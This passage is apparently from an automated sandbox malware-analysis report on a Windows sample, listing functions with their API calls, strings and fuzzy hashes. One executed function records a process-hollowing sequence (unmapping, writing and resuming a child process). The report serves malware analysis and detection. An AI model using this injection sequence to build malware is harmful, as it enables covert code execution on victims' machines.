Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: ad620ad0ceed5b442731dfb2fa6b5f5738d1ac7595c1b548615a28e3d0ce7eec
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: ad620ad0ceed5b442731dfb2fa6b5f5738d1ac7595c1b548615a28e3d0ce7eec
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E
.\crypto\evp\digest.c, xrefs: 00480638

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F247, 0044F25B

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: sbvN2ih5AU.exePID: 7456, Parent PID: 7356COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	37
Total number of Limit Nodes:	8

Executed Functions

Function 026B0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 026B0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 026B016C
CreateProcessA.KERNELBASE(?,00000000), ref: 026B0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 026B0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 026B0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 026B029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 026B02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 026B02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 026B0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 026B032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 026B0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 026B03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 026B03E1
ResumeThread.KERNELBASE(00000000), ref: 026B03ED
ExitProcess.KERNEL32(00000000), ref: 026B0412

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 245f9f2605ed69e3f70970c310f073c794baa1817c09c6eec133b27b0e463bc7
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 73B1C674A00209AFDB44CF98C895F9EBBB5BF88314F248158E509AB391D771AE81CF94

Uniqueness

Uniqueness Score: -1.00%

Function 026B0420 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 113
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegisterClassExA.USER32(00000030), ref: 026B04F1
CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 026B0533

Strings

0, xrefs: 026B0492
saodkfnosa9uin, xrefs: 026B04DA
d, xrefs: 026B0584
mfoaskdfnoa, xrefs: 026B0520, 026B0523

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ClassCreateRegisterWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 3469048531-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: fca40a3e369bd3cfe3fc0e914f71e83f6e96b42e22a37639e23dcee2481b33e6
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 09512B70D08388DEEB11CBD8C949BDEBFB66F11708F144058D5447F286C3BA5659CB66

Uniqueness

Uniqueness Score: -1.00%

Function 026B05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 026B05EC

Strings

apfHQ, xrefs: 026B05E2, 026B05E5
o, xrefs: 026B0600

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 56d93df298c3102a71e2fde8477eaf3ff6323235288dcc9668ec58e6b1f200d6
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: BC011E70C0425CEADB15DBA8C5187EEBFB5AF41308F148099C4092B341D7769B99CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0256B7C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0256B7EE
Module32First.KERNEL32(00000000,00000224), ref: 0256B80E

Memory Dump Source

Source File: 00000003.00000002.1688362361.000000000256B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0256B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_256b000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 0493cb70b3e6c2657edb252a5026d01bf3031e312d1f3b7b4ac0944fb5974d04
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: ADF062316007116BD7203BB5A88DB7A7AE8BF89669F100528E642E34C0DB70E8458A65

Uniqueness

Uniqueness Score: -1.00%

Function 0256B485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0256B4D6

Memory Dump Source

Source File: 00000003.00000002.1688362361.000000000256B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0256B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_256b000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 145716a150e1a071141b8a614eeeab731696ac5b788a4136d11a2884cacb9b3e
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: D1113F79A00208EFDB01DF98C985E99BFF5AF08350F058094F948AB361D371EA50DF84

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 026D6437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 026D644E

Part of subcall function 026D9636: __calloc_impl.LIBCMT ref: 026D9645

__calloc_crt.LIBCMT ref: 026D6472
_free.LIBCMT ref: 026D6480
__calloc_crt.LIBCMT ref: 026D648E
_free.LIBCMT ref: 026D649E
_free.LIBCMT ref: 026D64A4
__copytlocinfo_nolock.LIBCMT ref: 026D64B3
__setmbcp_nolock.LIBCMT ref: 026D64D4
_free.LIBCMT ref: 026D64E2
___removelocaleref.LIBCMT ref: 026D64E9
___freetlocinfo.LIBCMT ref: 026D64F0
_free.LIBCMT ref: 026D64F6

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: bdb4e9221a8116cbb277dcaacd4135d25a526689e106a240c76a9fa1e9fc2483
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 9721F035D04608EFEB217F65EC01E4B7BEADF41760B60C12DF489555A4EB72A940CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 026D3F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 026D3F51

Part of subcall function 026D5BA8: __getptd_noexit.LIBCMT ref: 026D5BA8

__gmtime64_s.LIBCMT ref: 026D3FEA
__gmtime64_s.LIBCMT ref: 026D4020
__gmtime64_s.LIBCMT ref: 026D403D
__allrem.LIBCMT ref: 026D4093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 026D40AF
__allrem.LIBCMT ref: 026D40C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 026D40E4
__allrem.LIBCMT ref: 026D40FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 026D4119
__invoke_watson.LIBCMT ref: 026D418A

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 25f6715ad778bd991ef8a53db75c5bd088c9b5cdcb7d4c8a318b5d324ae4dbf4
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: BF71E371E0171EABEB14AE79CC80B6AB3B9AF04364F144279E515E6780EBB0DD108FD5

Uniqueness

Uniqueness Score: -1.00%

Function 026D650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 026D6547
__calloc_crt.LIBCMT ref: 026D6598
__lock.LIBCMT ref: 026D65AE
__copytlocinfo_nolock.LIBCMT ref: 026D65BF
_wcscmp.LIBCMT ref: 026D65F9
__lock.LIBCMT ref: 026D6610
__updatetlocinfoEx_nolock.LIBCMT ref: 026D6622
___removelocaleref.LIBCMT ref: 026D6628
__updatetlocinfoEx_nolock.LIBCMT ref: 026D6647

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 2a124096abe6a2507fbbc7e1a72e24256bdef744e77a1a905fdcb952f70a6260
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 22411336D0434CAFDB00AFA4E980B9E3BEAAF44314F20842DE91496290DF759A45DF5A

Uniqueness

Uniqueness Score: -1.00%

Function 026D84AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 026D84B1
_free.LIBCMT ref: 026D84E2
_free.LIBCMT ref: 026D84F5
_free.LIBCMT ref: 026D8513
_free.LIBCMT ref: 026D8525
_free.LIBCMT ref: 026D8536
_free.LIBCMT ref: 026D8541
_free.LIBCMT ref: 026D8565
_free.LIBCMT ref: 026D8581
_free.LIBCMT ref: 026D8597
_free.LIBCMT ref: 026D85BF

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 79544b8a8334ffb354bf442d3893e653bb759ebead7bedcdc30145bb2c2a5687
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 6331B171D00258DBCF61AF14FC8884977A6FB15324705866EF908573A0CBF869CAAF98

Uniqueness

Uniqueness Score: -1.00%

Function 026FFC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 026FFC1F

Part of subcall function 026E169C: std::exception::_Copy_str.LIBCMT ref: 026E16B5

__CxxThrowException@8.LIBCMT ref: 026FFC34
std::exception::exception.LIBCMT ref: 026FFC4D
__CxxThrowException@8.LIBCMT ref: 026FFC62
std::regex_error::regex_error.LIBCPMT ref: 026FFC74

Part of subcall function 026FF914: std::exception::exception.LIBCMT ref: 026FF92E

__CxxThrowException@8.LIBCMT ref: 026FFC82
std::exception::exception.LIBCMT ref: 026FFC9B
__CxxThrowException@8.LIBCMT ref: 026FFCB0

Strings

leM, xrefs: 026FFCA8

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 7f89b183b327cb4a0f58ed1afc3db4871e4cafe6300144e2e9ad63a9fcb1b5c2
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 1811FE79C0020DBBCF00FFA5D455CDEBB7DAA04344F5085A6AD2997640EB74A7488F98

Uniqueness

Uniqueness Score: -1.00%

Function 026BF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 026BF01F

Part of subcall function 026D1602: __FF_MSGBANNER.LIBCMT ref: 026D1619
Part of subcall function 026D1602: __NMSG_WRITE.LIBCMT ref: 026D1620

_malloc.LIBCMT ref: 026BF02B
_wprintf.LIBCMT ref: 026BF03E
_free.LIBCMT ref: 026BF044
_free.LIBCMT ref: 026BF065
_malloc.LIBCMT ref: 026BF06D
_sprintf.LIBCMT ref: 026BF0C0
_wprintf.LIBCMT ref: 026BF0D2
_wprintf.LIBCMT ref: 026BF0DC
_free.LIBCMT ref: 026BF0E5

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 1bdabf2daeab1f2cc0acc4271ea7588035e67b3db5e692739eca48d595e57b4c
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 661136B6D005987AC362A6B50C21FFF3BDD9F46702F0401ADFE8CD1180DA585A049BB5

Uniqueness

Uniqueness Score: -1.00%

Function 026C1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 026C19C6
__CxxThrowException@8.LIBCMT ref: 026C19F1
__CxxThrowException@8.LIBCMT ref: 026C1A1A
__CxxThrowException@8.LIBCMT ref: 026C1A4B
_memset.LIBCMT ref: 026C1A6A
__CxxThrowException@8.LIBCMT ref: 026C1A90
_malloc.LIBCMT ref: 026C1AA0
_memset.LIBCMT ref: 026C1AAB
_sprintf.LIBCMT ref: 026C1ACE

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 11b9e46edc5627a3753470b771e5de2c75ed90f143291b9f9d38bb1a12b739f3
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 8E515D71D40209ABDB10EBE5DC85FEFBBB9FF05704F100069F909B6280E7749A018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 026BF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 026BF284
__CxxThrowException@8.LIBCMT ref: 026BF2AF
__CxxThrowException@8.LIBCMT ref: 026BF2DE
__CxxThrowException@8.LIBCMT ref: 026BF30F
_memset.LIBCMT ref: 026BF32E
__CxxThrowException@8.LIBCMT ref: 026BF354
_sprintf.LIBCMT ref: 026BF373

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: b09b0a39f54574d4cf85a0ecddd2f5af095f31e7f3c2cf16399785833067bd30
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: B7517DB1D4020DAADF11DFA1DC46FEEBBB9EF05704F100029F906B6290DB75AA458BA4

Uniqueness

Uniqueness Score: -1.00%

Function 026BF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 026BF4B7
__CxxThrowException@8.LIBCMT ref: 026BF4E2
__CxxThrowException@8.LIBCMT ref: 026BF504
__CxxThrowException@8.LIBCMT ref: 026BF535
_memset.LIBCMT ref: 026BF554
__CxxThrowException@8.LIBCMT ref: 026BF57A
_sprintf.LIBCMT ref: 026BF594

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: d538ba74b87da65e3f38a8ecff0fb0ab1caa7b0277a3f76eda812523a2c8327a
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 93514172D40209AADF21DFA5DC45FEFBBB9EF05704F100129F906B6290D774A9058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 026F208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 026F20C6
__invoke_watson.LIBCMT ref: 026F2120
_strlen.LIBCMT ref: 026F20D4

Part of subcall function 026D5BA8: __getptd_noexit.LIBCMT ref: 026D5BA8

_strnlen.LIBCMT ref: 026F215F
__lock.LIBCMT ref: 026F2170
__getenv_helper_nolock.LIBCMT ref: 026F217B

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 0305be57ffb8d7039d2c9f2897e0c982ae980ccec461becec64c84a7ec49e56b
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: F4313433E00629ABDF61AB64CC10B6E3799AF05B28F104419EF04EB784DF748841CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 026C2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 026C26DB
_memset.LIBCMT ref: 026C2A30
_memset.LIBCMT ref: 026C2AC0

Strings

D, xrefs: 026C2AC8

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 01078cc452d7bcebd19fe8db7dabb5e69c1677a84c177c210343923b882f89e9
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 65E15C71D40219AADF24EBA0CD99FEEB7B8FF04304F14406AE909E6190EB74AA45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 026BD8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 026BD8EA

Strings

$, xrefs: 026BDAE2
(, xrefs: 026BDAE9
, xrefs: 026BDADB

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 038d158165392b12966456f6ed5762130ee4654c7643c64b00364290ed278804
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 7C91B0B1D002589AEF21DFA0CC59BEDBBB5AF05308F244069D5057B2C1DBB65A88CF69

Uniqueness

Uniqueness Score: -1.00%

Function 026CA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 026CA858
_memset.LIBCMT ref: 026CA869
_memset.LIBCMT ref: 026CA87A

Strings

p2Q, xrefs: 026CA882

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: e9316af8e82b05df9345f810bfccbe680fd2fd5d0ada6df4641e1ad18ec459f7
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 4AF0ED78A98754A5F7217750BC26B857E917B35B08F10408CE1182E2E5D3FD238CA79E

Uniqueness

Uniqueness Score: -1.00%

Function 026FFBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

